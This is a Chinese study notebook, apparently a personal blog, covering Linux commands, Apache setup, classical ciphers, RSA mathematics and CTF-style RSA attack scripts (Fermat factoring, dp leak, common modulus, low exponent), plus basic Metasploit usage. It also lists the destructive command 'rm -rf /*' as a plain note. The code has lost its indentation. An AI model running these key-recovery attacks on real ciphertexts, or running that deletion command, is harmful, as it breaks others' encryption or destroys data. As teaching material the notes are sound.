1.环境搭建

虚拟机安装成功并联网

2.linux基本命令操作和文件管理

(1)根下的目录作用说明:

1. /

​ / 处于 linux 系统树形结构的最顶端,它是 linux 文件系统的入口,所有的目录、 文件、设备都在 / 之下

2. /bin

bin 是 Binary 的缩写。常用的二进制命令目录。比如 ls、cp、mkdir、cut 等;和/usr/bin 类似,一些用户级工具

3. /boot

​ /boot 存放的系统启动相关的文件,例如:kernel.grub(引导装载程序)

4. /dev

​ /dev dev 是 Device 的缩写。设备文件目录,比如声卡、磁盘……在 Linux 中 一切都被看做文件。终端设备、磁盘等等都被看做文件 设备文件: /dev/sda,/dev/sda1,/dev/tty1,/dev/tty2,/dev/pts/1, /dev/zero, /dev/null, /dev/cdrom

5. /etc

​ /etc 常用系统及二进制安装包配置文件默认路径和服务器启动命令目录,

​ 如:/etc/passwd 用户信息文件

​ /etc/shadow 用户密码文件

​ /etc/group 存储用户组信息

​ /etc/fstab 系统开机启动自动挂载分区列表

​ /etc/hosts 设定用户自己的 IP 与主机名对应的信息

6. /home

/home 普通用户的家目录默认存放目录

7. /lib

​ /lib 库文件存放目录,函数库目录

8. /mnt

/mnt /media /mnt 和/media 一般用来临时挂载存储设备的挂载目录,比如有 cdrom、U 盘 等目录 /mnt/hgfs: 安装 vmware-tools 后,使用共享文件夹功能,可以共享虚 拟机和真机的目录,实现文件相互复制,一般这个功能没有用。我们直接使用 xshell 来上传文件

9. /opt

/opt 表示的是可选择的意思,有些软件包也会被安装在这里。如:gitlab /proc 操作系统运行时,进程(正在运行中的程序)信息及内核信息(比如 cpu、硬盘 分区、内存信息等)存放在这里。

10. /proc

​ /proc 目录是伪装的文件系统 proc 的挂载目 录,proc 并不是真正的文件系统。因此,这个目录是一个虚拟的目录,它是系统 内存的映射,我们可以通过直接访问这个目录来获取系统信息。也就是说,这个 目录的内容不在硬盘上而是在内存里 查看咱们的 CPU 信息 cat /proc/cpuinfo /sys 系统目录,存放硬件信息的相关文件

11. /run

/run 运行目录,存放的是系统运行时的数据,比如进程的 PID 文件

12. /srv

/srv 服务目录,存放的是我们本地服务的相关文件

13. /sbin

​ /sbin 大多数涉及系统管理的命令都存放在该目录中,它是超级权限用户 root 的可 执行命令存放地,普通用户无权限执行这个目录下的命令,凡是目录 sbin 中包含 的命令都是 root 权限才能执行的

14. /tmp

​ /tmp 该目录用于存放临时文件,有时用户运行程序的时候,会产生一些临时文 件。/tmp 就是用来存放临时文件的。/var/tmp 目录和该目录的作用是相似的, 不能存放重要数据,系统会定期删除这个目录下的没有被使用的文件。 它的权限比较特殊 [root@xuegod63 ~]# ls -ld /tmp drwxrwxrwt 10 root root 12288 Oct 3 20:45 /tmp/ →粘滞位(sticky bit)目录的 sticky 位表示这个目录里的文件只能被文件的 owner(所有者)和 root 删除 /var 系统运行和软件运行时产生的日志信息,该目录的内容是经常变动的,存放的是 一些变化的文件。比如/var 下有/var/log 目录用来存放系统日志的目录,还有 mail、/var/spool/cron

15. /usr

/usr 存放应用程序和文件, /usr/bin 普通用户使用的应用程序 /usr/sbin 管理员使用的应用程序 /usr/lib 库文件 Glibc(32 位) /usr/lib64 库文件 Glibc /lib /lib64 是 /usr/lib 和 这个目录里存放着系统最基本的动态链接共享库,包含许多被/bin/和/sbin/中的 程序使用的库文件,目录/usr/lib/中含有更多用于用户程序的库文件。作用类似 于 windows 里的 DLL 文件,几乎所有的应用程序都需要用到这些共享库 注:lib***.a 是静态库 , lib***.so 是动态库

(2)基本文件操作

​ 内部命令:在系统启动时就调入内存,是常驻内存的,所以执行效率高

​ 外部命令:是系统软件的功能,用户需要时才从硬盘中读入内存

​ 如何区分内外部命令?

​ 使用 type 命令 ,语法 : type 要检测的命令

​ 例: type cat

​ cat 是 /usr/bin/cat

绝对路径:一切从根目录开始的路径

相对路径:非从根目录开始的路径

Linux的两种时钟
系统时钟:由Linux内核通过CPU的工作频率进行的
硬件时钟:主板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
 当前目录.   上一个目录..

1.删除
rm

-rf 表示递归强制删除所有

/* 根目录下所有目录


2.查看目录下内容
ls

ls -l 列出文件详细信息

3.查看当前所在目录
pwd

4.创建文件夹
mkdir -p 文件夹

5.进入文件
cd

6.快速打开一个终端
ctrl+shift+T

7.终端字体放大
shift+ctrl+加号

8.终端字体缩小:
ctrl+ 减号

9.命令可以查看cpu信息
lscpu
cat /proc/cpuinfo也可看查看到

10.查看内存大小
free
cat /proc/meminfo

11.查看硬盘和分区情况
lsblk
cat /proc/partitions

12.查看内核版本
uname -r

13.查看操作系统发行版本
centos: cat /etc/os-release

14.用户登录信息查看命令
whoami: 显示当前登录有效用户
who: 系统当前所有的登录会话
w: 系统当前所有的登录会话及所做的操作

15.关机和重启

关机:
halt
poweroff

重启:
reboot
-f: 强制,不调用shutdown
-p: 切断电源

关机或重启:shutdown

shutdown [OPTION]... [TIME] [MESSAGE]
-r: reboot
-h: halt
-c:cancel
TIME:无指定,默认相当于+1(CentOS7)
now: 立刻,相当于+0
+#: 相对时间表示法,几分钟之后;例如 +3
hh:mm: 绝对时间表示,指明具体时间

16. date 显示和设置系统时间
时区:
/etc/localtime
timedatectl set-timezone Asia/Shanghai
/etc/timezone

17.whatis 使用数据库来显示命令的简短描述
刚安装后不可立即使用,需要制作数据库
#CentOS 7 版本以后
mandb
#CentOS 6 版本之前
makewhatis

查看文件权限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
1.用户名创建(root创建)
useradd 用户名

2.添加用户密码
passwd 用户名

3.切换登录用户
su 用户名
(#表示是 root 用户登录,管理员账号登陆 #表示普通用户登录 #su 用户名(切换登录用户)

4.ls
-a 包含隐藏文件
-l 显示额外的信息
-R 目录递归
-ld 目录和符号链接信息
-1 文件分行显示
-S 按从大到小排序
-t 按mtime排序
-u 配合-t选项,显示并按atime从新到旧排序
-U 按目录存放顺序显示
-X 按文件后缀排序

5.查看文件状态 stat
文件相关信息:metadata, data

每个文件有三个时间戳:

access time 访问时间,atime,读取文件内容
modify time 修改时间,mtime,改变文件内容(数据)
change time 改变时间,ctime,元数据发生改变

6.文件可以包含多种类型的数据,使用file命令检查文件的类型,然后确定适当的打开命令或应用程序使用

file [options] <filename>...
常用选项:
-b 列出文件辨识结果时,不显示文件名称
-f filelist 列出文件filelist中文件名的文件类型
-F 使用指定分隔符号替换输出文件名后默认的”:”分隔符
-L 查看对应软链接对应文件的文件类型
–help 显示命令在线帮助

(3).软件安装及镜像源配置

linux软件:xxx.rpm

软件管理工具 :yum软件管理仓库

1
2
3
4
5
6
7
1.安装wget
yum install 软件名 -y
wget安装 yum install wget -y

2.配置yum源
阿里云源
https://developer.aliyun.com/mirror/?spm=a2c6h.12883283.J_eBhO-wcawiLJRkGqHmozR.72.5f1f4307RqvxrE

apache安装

1、检查是否安装了Apache服务器软件
1
rpm -qa | grep -i httpd
2、卸载已安装的Apache服务器软件
1
dnf remove httpd*

注:如果提示bash: dnf:未找到命令则需要安装dnf命令,分别执行下列两个命令

1
2
yum install epel-release
yum install dnf
3、再次检查是否安装了Apache服务器软件
1
rpm -qa | grep -i httpd
4、安装Apache服务器软件
1
dnf  -y install httpd*
5、可以使用rpm -qa | grep -i httpd命令来查询是否安装成功
1
rpm -qa | grep -i httpd
6、启动httpd服务程序并将其加入到开机启动项中,使其能够随系统开机而运行
1
2
systemctl start httpd
systemctl enable httpd
7、在浏览器中输入服务器的IP地址,测试服务是否开启

配置Apache服务

1、Apache服务常见配置文件介绍
1
2
3
4
5
6
7
8
9
10
文件名称	                                                          作用
/etc/httpd 服务目录
/etc/httpd/conf/httpd.conf 主配置文件
/var/www/html 网站数据目录
/var/log/httpd/access_log 访问日志
/var/log/httpd/error_log 错误日志
/etc/httpd/conf.d 附加模块配置文件
/etc/httpd/modules 模块文件路径链接
/etc/httpd/bin/ 二进制命令
/etc/httpd/logs 默认日志文件位置
2、Apache主配置文件介绍
1
2
3
    在httpd服务程序的主配置文件中,存在三种类型的信息:注释行信息、全局配置、区域配置。(位置:/etc/httpd/conf/httpd.conf)

vim /etc/httpd/conf/httpd.conf

古典密码

1.猪圈密码(buu萌哒哒的八戒)

2.MD5

(1)buu获得权限的第一步Administrator:500:806EDC27AA52E314AAD3B435B51404EE:F4AD50F57683D4260DFD48AA351A17A8:::

将F4AD50F57683D4260DFD48AA351A17A8MD5解密即可

(2)丢失的MD5

题目中给的代码

1
2
3
4
5
6
7
8
9
import hashlib   
for i in range(32,127):
for j in range(32,127):
for k in range(32,127):
m=hashlib.md5()
m.update('TASC'+chr(i)+'O3RJMV'+chr(j)+'WDJKX'+chr(k)+'ZM')
des=m.hexdigest()
if 'e9032' in des and 'da' in des and '911513' in des:
print des

修改后的代码

1
2
3
4
5
6
7
8
9
10
11
import hashlib
for i in range(32,127):
for j in range(32,127):
for k in range(32,127):
m = hashlib.md5()
s = 'TASC' + chr(i) + 'O3RJMV' +chr(j) +'WDJKX' +chr(k) + 'ZM'
m.update(s.encode("utf8"))
des = m.hexdigest()
if 'e9032' in des and 'da' in des and '911513' in des:
print(des)
break

2.栅栏密码

特征U2开头需要密钥,一种流加密
把要加密的明文分成N个一组,然后把每组的第一个字连起来,形成一段无规律的话。
不过栅栏密码本身有一个潜规则,就是组成栅栏的字母一般不会太多。
参考
加密原理
举例:
n = 7, m = 2
假设明文为:have a good night
加密过程如下:
将其去掉空格:haveagoodnight
分成7组:ha ve ag oo dn ig ht
ha
ve
ag
oo
dn
ig
ht
按照竖排来组合,则它的栅栏密码为:hvaodihaegongt
解密过程如下:
先将其分为2组:hvaodih aegongt
hvaodih
aegongt
然后按照每组按次序取一个进行重新组合:ha ve ag oo dn ig ht
拼起来即可:haveagoodnight
添加上必需的空格即可:have a good night

3.中文电码

606046152623600817831216121621196386

中文电码采用了四位阿拉伯数字作代号,
从0001到9999按四位数顺序排列,用四位数字表示最多一万个汉字、字母和符号。
汉字先按部首,后按笔划排列。
字母和符号放到电码表的最尾。
后来由于一万个汉字不足以应付户籍管理的要求,又有第二字面汉字的出现。
在香港,两个字面都采用同一编码,由输入员人手选择字面;
在台湾,第二字面的汉字会在开首补上“1”字,变成5个数字的编码。

现代密码

rsa

rsa算法简介

RSA是公钥密码体制,是一种使用不同加密密钥与解密密钥的解密方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
选择两个大素数p和q,计算出模数N = p*q
计算φ(n) = (p-1) * (q-1)即N的欧拉函数,然后选择一个e(1<e<φ(n)),且e和φ(n)互素

取e的模反数为d(逆元),计算方法:e * d ≡ 1(mod φ(n))

对明文进行加密: c = m^e%N
c = pow(m,e,N),得到c即为密文

对密文c进行解密 :m = c^d%N
m = pow(c,d,N),得到的m即为明文

其中:
p 和 q :大整数N的两个因子
N :大整数N,我们称之为模数
e 和 d :互为模反的两个指数
c 和 m :分别是密文和明文,这里一般指的是一个十进制的数

rsa算法原理

欧拉函数φ(n)

欧拉函数φ(n)的定义是小于n的自然数中与n互质的数的个数

任何一个素数p的欧拉函数就是 p-1

欧拉定理

若n,a为正整数,且n,a互质,gcd(n,a)= 1 , 则:a^φ(n)≡1 mod n

费马小定理

模运算
模运算与基本四则运算有些相似,但是除法除外。其规则如下:

(a + b) % p = (a % p + b % p) % p
(a - b) % p = (a % p - b % p) % p
(a * b) % p = (a % p * b % p) % p
a ^ b % p = ((a % p) ^ b) % p
结合律
((a + b) % p + c) = (a + (b + c) % p) % p
((a * b) % p * c) = (a * (b * c) % p) % p
交换律
(a + b) % p = (b + a) % p
(a * b) % p = (b * a) % p
分配律
(a + b) % p = (a % p + b % p) % p
((a + b) % p * c) % p = ((a * c) % p + (b * c) % p
重要定理
若 a ≡ b (mod p),则对于任意的 c,都有(a + c) ≡ (b + c) (mod p)
若 a ≡ b (mod p),则对于任意的 c,都有(a * c) ≡ (b * c) (mod p)
若 a ≡ b (mod p),c ≡ d (mod p),则
(a + c) ≡ (b + d) (mod p)
(a - c) ≡ (b - d) (mod p)
(a * c) ≡ (b * d) (mod p)
(a / c) ≡ (b / d) (mod p)
逆元
a mod p的逆元便是可以使 a * a’ mod p = 1 的最小a’。

推导过程

式1:c=m^e%N
式2:m=c^d%N

将式1带入式2 得 m = (m ^ e % N ) ^ d % N

需要证明:m == ( m ^ e % N ) ^ d % N

(m^e%N)^d%N

=> (m^e)^d%N #模运算 a ^ b % p = ((a % p) ^ b) % p

m^(e*d)%N #幂的乘方,底数不变,指数相乘
将 e * d ≡ 1 (mod φ(N)) 即 e * d = K * φ(N) + 1,K为任意正整数,代入得:

=> (m^(K*φ(N)+1))%N

=> (m^(K*φ(N)*m^1)%N # 同底数相乘,指数相加

=> (m^(K*φ(N)*m)%N

=> ((m^φ(N)^K%N*m)%N # 幂的乘方,底数不变,指数相乘

=> ((m^φ(N)^K%N*m%N)%N # (a * b) % p = (a % p * b % p) % p

=> ((m^φ(N)%N)^K%N*m%N)%N # a ^ b % p = ((a % p) ^ b) % p

=> (1^K%N*m%N)%N # 根据欧拉定理:a^φ(n)≡1 mod n 即 a^φ(n) mod n = 1

=> (m%N)%N # 1^K%N=1

=> (m%N)%N

=> (m%N)^1%N

=> (m^1)%N # a ^ b % p = ((a % p) ^ b) % p

=> m%N

m #因为 m < N

Crypto.PublicKey模块公私钥读取与生成

公钥生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.PublicKey import RSA

p= 787228223375328491232514653709
q= 814212346998672554509751911073
n= 640970939378021470187479083920100737340912672709639557619757
d= 590103645243332826117029128695341159496883001869370080307201
e= 65537


rsa_components = (n, e)
keypair = RSA.construct(rsa_components)
with open('pubckey.pem', 'wb') as f :
f.write(keypair.exportKey())


私钥生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.PublicKey import RSA

p= 787228223375328491232514653709
q= 814212346998672554509751911073
n= 640970939378021470187479083920100737340912672709639557619757
d= 590103645243332826117029128695341159496883001869370080307201
e= 65537


rsa_components = (n,e,d,p,q)
keypair = RSA.construct(rsa_components)
with open('private1.pem', 'wb') as f :
f.write(keypair.exportKey())


公钥求读取

1
2
3
4
5
6
7
from Crypto.PublicKey import RSA

path = '<key file path here>'
with open(path) as f:
key = RSA.import_key(f.read())
print('e = %d' % key.e)
print('n = %d' % key.n)

私钥读取

1
2
3
4
5
6
7
8
9
10
from Crypto.PublicKey import RSA
with open("private1.pem","rb") as f:
key = RSA.import_key(f.read())
print('n = %d' % key.n)
print('e = %d' % key.e)
print('d = %d' % key.d)
print('p = %d' % key.p)
print('q = %d' % key.q)


rsa模块公私钥读取与生成

公钥生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import rsa

p= 787228223375328491232514653709
q= 814212346998672554509751911073
n= 640970939378021470187479083920100737340912672709639557619757
d= 590103645243332826117029128695341159496883001869370080307201
e= 65537

pubkey = rsa.PublicKey(n , e )
print(pubkey)
pub=rsa.PublicKey.save_pkcs1(pubkey)
with open("pub.pem","wb") as f:
f.write(pub)

私钥生成

1
2
3
4
5
6
7
8
9
10
11
12
13
import rsa

p= 787228223375328491232514653709
q= 814212346998672554509751911073
n= 640970939378021470187479083920100737340912672709639557619757
d= 590103645243332826117029128695341159496883001869370080307201
e= 65537
prikey = rsa.PrivateKey(n , e , d , p , q)
print(prikey)
pri=rsa.PrivateKey.save_pkcs1(prikey)
with open("pri.pem","wb") as f:
f.write(pri)

公钥读取

1
2
3
4
5
6
7
8
import rsa
with open('2.pem','rb') as f:
keydata= f.read()
pubckey = rsa.PublicKey.load_pkcs1(keydata)
#pubckey = rsa.PublicKey.load_pkcs1_openssl_pem(keydata)
print(pubckey.n)
print(pubckey.e)

私钥读取

1
2
3
4
5
6
7
8
9
10
import rsa
with open('1.pem','rb') as f:
keydata= f.read()
pubckey = rsa.PrivateKey.load_pkcs1(keydata)
print(pubckey.n)
print(pubckey.e)
print(pubckey.d)
print(pubckey.q)
print(pubckey.p)

题目

随机生成flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import random
import hashlib
import string

#字符串列表
a=string.printable
#随机生成flag
for i in range(10):
flag = ""
for i in range(10):
flag += a[random.randint(0, 99)]
flag = hashlib.md5(flag.encode()).hexdigest()
print("flag{" + flag + "}")


基于N分解的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import libnum
import gmpy2
from Crypto.PublicKey import RSA

p=libnum.generate_prime(1024)
#下一个素数
q=int(gmpy2.next_prime(p))
e=65537
m="flag{a272722c1db834353ea3ce1d9c71feca}"
m=libnum.s2n(m)
n=p*q
c=pow(m,e,n)
flag_c=libnum.n2s(c)
rsa_components = (n, e)
keypair = RSA.construct(rsa_components)
with open('pubckey1.pem', 'wb') as f :
f.write(keypair.exportKey())
with open("flag.txt","wb") as f:
f.write(flag_c)


解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import libnum
import gmpy2
from Crypto.PublicKey import RSA


def isqrt(n):
x = n
y = (x + n // x) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x

def fermat(n, verbose=True):
a = isqrt(n) # int(ceil(n**0.5))
b2 = a*a - n
b = isqrt(n) # int(b2**0.5)
count = 0
while b*b != b2:
# if verbose:
# print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
a = a + 1
b2 = a*a - n
b = isqrt(b2) # int(b2**0.5)
count += 1
p=a+b
q=a-b
assert n == p * q
# print('a=',a)
# print('b=',b)
# print('p=',p)
# print('q=',q)
# print('pq=',p*q)
return p, q


with open("pubckey1.pem","rb") as f:
key = RSA.import_key(f.read())
n=key.n
e=key.e

with open("flag.txt","rb") as f:
c=f.read()
c=libnum.s2n(c)

#费马分解,
n1=fermat(n)
p=n1[0]
q=n1[1]
phi_n=(p-1)*(q-1)
#求逆元
d=libnum.invmod(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode())


已知p q dp dq c求密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p=
q=
dp=
dq=

import gmpy2
I = gmpy2.invert(q,p)
mp = pow(c,dp,p)
mq = pow(c,dq,q) #求幂取模运算

m = (((mp-mq)*I)%p)*q+mq #求明文公式

print(hex(m)) #转为十六进制


dp泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import gmpy2 as gp

e = 65537
n = 248254007851526241177721526698901802985832766176221609612258877371620580060433101538328030305219918697643619814200930679612109885533801335348445023751670478437073055544724280684733298051599167660303645183146161497485358633681492129668802402065797789905550489547645118787266601929429724133167768465309665906113
dp = 905074498052346904643025132879518330691925174573054004621877253318682675055421970943552016695528560364834446303196939207056642927148093290374440210503657

c = 140423670976252696807533673586209400575664282100684119784203527124521188996403826597436883766041879067494280957410201958935737360380801845453829293997433414188838725751796261702622028587211560353362847191060306578510511380965162133472698713063592621028959167072781482562673683090590521214218071160287665180751


for i in range(1,e): #在范围(1,e)之间进行遍历
if(dp*e-1)%i == 0:
if n%(((dp*e-1)//i)+1) == 0: #存在p,使得n能被p整除
p=((dp*e-1)//i)+1
q=n//(((dp*e-1)//i)+1)
phi=(q-1)*(p-1) #欧拉定理
d=gp.invert(e,phi) #求模逆
m=pow(c,d,n) #快速求幂取模运算

print(m) #10进制明文
print('------------')
print(hex(m)[2:]) #16进制明文
print('------------')
print(bytes.fromhex(hex(m)[2:])) #16进制转文本

共模攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import libnum 
from gmpy2 import invert
# 欧几里得算法
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)

def main():
n = 22708078815885011462462049064339185898712439277226831073457888403129378547350292420267016551819052430779004755846649044001024141485283286483130702616057274698473611149508798869706347501931583117632710700787228016480127677393649929530416598686027354216422565934459015161927613607902831542857977859612596282353679327773303727004407262197231586324599181983572622404590354084541788062262164510140605868122410388090174420147752408554129789760902300898046273909007852818474030770699647647363015102118956737673941354217692696044969695308506436573142565573487583507037356944848039864382339216266670673567488871508925311154801
c1 = 22322035275663237041646893770451933509324701913484303338076210603542612758956262869640822486470121149424485571361007421293675516338822195280313794991136048140918842471219840263536338886250492682739436410013436651161720725855484866690084788721349555662019879081501113222996123305533009325964377798892703161521852805956811219563883312896330156298621674684353919547558127920925706842808914762199011054955816534977675267395009575347820387073483928425066536361482774892370969520740304287456555508933372782327506569010772537497541764311429052216291198932092617792645253901478910801592878203564861118912045464959832566051361
c2 = 18702010045187015556548691642394982835669262147230212731309938675226458555210425972429418449273410535387985931036711854265623905066805665751803269106880746769003478900791099590239513925449748814075904017471585572848473556490565450062664706449128415834787961947266259789785962922238701134079720414228414066193071495304612341052987455615930023536823801499269773357186087452747500840640419365011554421183037505653461286732740983702740822671148045619497667184586123657285604061875653909567822328914065337797733444640351518775487649819978262363617265797982843179630888729407238496650987720428708217115257989007867331698397
e1 = 11187289
e2 = 9647291
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
# 求模反元素
if s1<0:
s1 = - s1
c1 = invert(c1, n)
elif s2<0:
s2 = - s2
c2 = invert(c2, n)

m = pow(c1,s1,n)*pow(c2,s2,n) % n
print (libnum.n2s(m))

if __name__ == '__main__':
main()

低加密指数攻击:

所谓低加密指数指的就是e非常小的情况下,通常为3。
这种题目通常有两种类型,一种直接爆破,另外一种是低指数广播攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from gmpy2 import iroot
import libnum
n = 0x52d483c27cd806550fbe0e37a61af2e7cf5e0efb723dfc81174c918a27627779b21fa3c851e9e94188eaee3d5cd6f752406a43fbecb53e80836ff1e185d3ccd7782ea846c2e91a7b0808986666e0bdadbfb7bdd65670a589a4d2478e9adcafe97c6ee23614bcb2ecc23580f4d2e3cc1ecfec25c50da4bc754dde6c8bfd8d1fc16956c74d8e9196046a01dc9f3024e11461c294f29d7421140732fedacac97b8fe50999117d27943c953f18c4ff4f8c258d839764078d4b6ef6e8591e0ff5563b31a39e6374d0d41c8c46921c25e5904a817ef8e39e5c9b71225a83269693e0b7e3218fc5e5a1e8412ba16e588b3d6ac536dce39fcdfce81eec79979ea6872793

c = 0x10652cdfaa6b63f6d7bd1109da08181e500e5643f5b240a9024bfa84d5f2cac9310562978347bb232d63e7289283871efab83d84ff5a7b64a94a79d34cfbd4ef121723ba1f663e514f83f6f01492b4e13e1bb4296d96ea5a353d3bf2edd2f449c03c4a3e995237985a596908adc741f32365

k = 0
while 1:
res=iroot(c+k*n,3) //iroot(),该函数的作用是计算一个数的整数平方根
if(res[1]==True):
print(libnum.n2s(int(res[0])))
break
k=k+1


'''
第二种写法


import gmpy2
from libnum import*
n = 0x52d483c27cd806550fbe0e37a61af2e7cf5e0efb723dfc81174c918a27627779b21fa3c851e9e94188eaee3d5cd6f752406a43fbecb53e80836ff1e185d3ccd7782ea846c2e91a7b0808986666e0bdadbfb7bdd65670a589a4d2478e9adcafe97c6ee23614bcb2ecc23580f4d2e3cc1ecfec25c50da4bc754dde6c8bfd8d1fc16956c74d8e9196046a01dc9f3024e11461c294f29d7421140732fedacac97b8fe50999117d27943c953f18c4ff4f8c258d839764078d4b6ef6e8591e0ff5563b31a39e6374d0d41c8c46921c25e5904a817ef8e39e5c9b71225a83269693e0b7e3218fc5e5a1e8412ba16e588b3d6ac536dce39fcdfce81eec79979ea6872793
c = 0x10652cdfaa6b63f6d7bd1109da08181e500e5643f5b240a9024bfa84d5f2cac9310562978347bb232d63e7289283871efab83d84ff5a7b64a94a79d34cfbd4ef121723ba1f663e514f83f6f01492b4e13e1bb4296d96ea5a353d3bf2edd2f449c03c4a3e995237985a596908adc741f32365

i = 0
while 1:
if(gmpy2.iroot(c+i*n,3)[1]==1): #开根号
print(gmpy2.iroot(c+i*n,3))
break
i=i+1

'''


Metasploit渗透测试框架的基本使用

一.连接

1.打开数据库

​ systemctl start postgresql

​ systemctl enable postgresql #设置成开机启动数据库,我们要经常用

2.msf的打开

msfconsole (postgresql数据库和msf同时打开msfdb run)

3.连接: connect ip(或域名) 端口(连接后get可以得到服务器版本号)

二.

1.show命令的使用

​ show的有效参数:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options

三.search搜索的使用方法(search -h 列search命令的一些选项)

1.通过 name 关键字进行查找

​ search name:mysql 要查找 mysql 数据库的漏洞

2.通过路径进行查找

​ search path:mysql

​ path:命令查找在该路 径下的所有模块

3.缩小查询范围

​ search platform:mysql

​ platform:列出可以影响此平台的模块,也就是比较好的漏洞 有时候我们会搜索到大量的模块,那么可以用 platform:命令来缩小查询范围。使用 platform 命 令后,所查询的结果会列出 rank 比较高的模块。如果我要查找 mysql 的漏洞

4.通过类型进行查找

​ search type:exploit

​ type : 特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop) 要搜索 exploit 模块

常见端口渗透

1.ftp服务

(默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议))

#Crypto库

“Crypto”是一个强加密类库,它提供了多个加密算法和工具,可以用于保护数据的隐私和保密性。以下是Crypto库的一些常用模块和函数:

模块:

  • Crypto.Cipher:提供加密和解密算法的实现
  • Crypto.Hash:提供哈希函数的实现
  • Crypto.Protocol:提供安全协议相关的函数
  • Crypto.PublicKey:提供公钥密码相关函数
  • Crypto.Random:提供各种随机数生成器

函数:

  • AES.new(key, mode, IV):创建AES加密对象
  • RSA.generate(bits, e, progress_func=None):生成指定长度的RSA公钥和私钥
  • PKCS1_OAEP.new(key):基于RSA的公钥密码算法RSAES-OAEP的加解密对象
  • HMAC.new(key, msg, digestmod):创建HMAC对象
  • SHA256.new(data):计算SHA-256哈希值
  • get_random_bytes(n):生成n个字节长度的随机字节串
  • b64encode(s):将字符串进行base64编码

其中,Crypto.CipherCrypto.HashCrypto.ProtocolCrypto.PublicKeyCrypto.Random等是Crypto库中常见的模块。